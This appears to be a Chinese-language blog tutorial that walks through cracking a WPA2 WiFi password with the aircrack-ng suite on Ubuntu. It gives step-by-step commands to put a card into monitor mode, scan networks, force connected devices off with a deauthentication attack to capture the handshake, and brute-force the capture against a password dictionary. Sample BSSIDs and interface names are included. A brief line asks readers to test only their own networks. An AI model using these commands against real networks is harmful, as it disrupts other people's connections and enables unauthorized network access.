# 安装
sudo apt update
sudo apt install -y aircrack-ng
sudo airmon-ng
目录 测试环境 Ubuntu 20.04(物理机) Aircrack-ng 1.6 如果您使用的是内置网卡的笔记本电脑(就像我一样),那么无法直接在虚拟机中使用该网卡。换句话说,虚拟机不适用于此情况,您需要使用物理机(有关Windows + Ubuntu双系统的参考,请参考:)。如果您使用的是USB网卡,则需要注意其是否支持Linux。有些网卡仅支持Windows,如果支持Linux,则可以将网卡挂载到虚拟机中。 注:在未经允许的情况下,请勿尝试破解他人的WiFi密码,您可以使用自己的WiFi进行测试。 该方案的原理是首先启动对目标WiFi的监测,同时发起攻击以使正常连接该WiFi的设备断开连接。断开连接的设备将尝试重新连接WiFi,此时会发送包含加密密码的握手包。然后,我们捕获这些握手包,并使用字典中的密码按照相同的加密方式逐个匹配这些握手包。最后的成功与否取决于字典中是否存在WiFi密码。如果字典中存在WiFi密码,则一定能够匹配成功;如果不存在,则无法成功。 操作演示 查看可用的无线网卡
sudo airmon-ng start
# 比如
sudo airmon-ng start wlp0s20f3
sudo airmon-ng
sudo airodump-ng
# 比如
sudo airodump-ng wlp0s20f3mon
# 上面命令默认是扫描 2.4 GHz 频段的,如果网卡支持 5GHz 频段且要扫描 5GHz 频段的 WiFi,那么可以使用下面命令指定扫描的频率范围
sudo airodump-ng -C 5150-5850
将网卡设置为监听模式(这将导致已连接的WiFi断开连接,并且在设置中WiFi连接功能将消失。关闭监听模式将恢复正常,详见最后的操作说明) 开启监听模式后,再次查看网卡名称 扫描附近的无线网络,扫描结果将持续刷新。找到要破解的WiFi后,按下Ctrl + C停止扫描
BSSID: 无线 AP 的硬件地址
PWR: 信号强度,值是负数,绝对值越小表示信号越强
CH: 无线网络信道
ENC: 加密方式,我们要破解的是 WPA2
ESSID: 无线网络的名称
STATION: 用户设备的硬件地址
sudo airodump-ng -w -c --bssid
# 比如
sudo airodump-ng -w wifi -c 1 --bssid 9C:A6:15:BC:98:19 wlp0s20f3mon
sudo aireplay-ng - -a 无线 AP 硬件地址> -c
# 比如
sudo aireplay-ng -0 0 -a 9C:A6:15:BC:98:19 wlp0s20f3mon
在扫描结果中,选中要演示的WiFi。然后,使用上述扫描到的WiFi参数进行过滤,确定扫描目标,并保持扫描状态。 在另一个终端中,对目标WiFi发起攻击。这个攻击的目的是干扰目标WiFi,使连接该WiFi的其他设备断开连接。断开连接的设备将尝试重新连接,此时之前保持扫描的程序将捕获到握手包。当看到第一行末尾出现[WPA handshake:]时,表示已捕获到握手包。
sudo aircrack-ng -w 密码字典
# 比如
sudo aircrack-ng -w password/默认常用字典.txt wifi-01.cap
可以看到扫描结果生成了一个文件(以wifi开头的文件名,.cap文件将在下一步中使用)。 现在可以开始暴力破解了,获取密码字典: 如果匹配到密码,将显示”KEY FOUND!”,后面跟着密码内容。这种方法的速度比尝试连接WiFi快得多,但是否能找到密码取决于字典的内容。 如果上述提供的密码字典(通常包含弱密码)都没有匹配成功,那么成功的希望基本上很渺茫。例如,我自己生成的9位纯数字密码字典大小为9.3GB,预计爆破时间超过两天,但仍不一定能成功。而且,整个过程中CPU的所有核心都将被满负荷运行。一般来说,设置密码复杂度较高的WiFi至少包含小写字母和数字,并且要求密码长度至少为8位数。生成这样的字典大小将超过20TB,即使有足够的存储空间,也需要强大的计算能力,否则需要很长时间。除非纯粹是为了好玩而进行WiFi爆破,否则需要具备这样的条件吗?除非有社交工程库,否则一般人设置的密码可能只有几个。
sudo airmon-ng stop
# 比如
sudo airmon-ng stop wlp0s20f3mon
最后,关闭监听功能,以便正常使用WiFi连接。 文章导航 Windows 11 + Ubuntu 22.04双系统 Ubuntu 22.04安装build-essential工具链依赖错误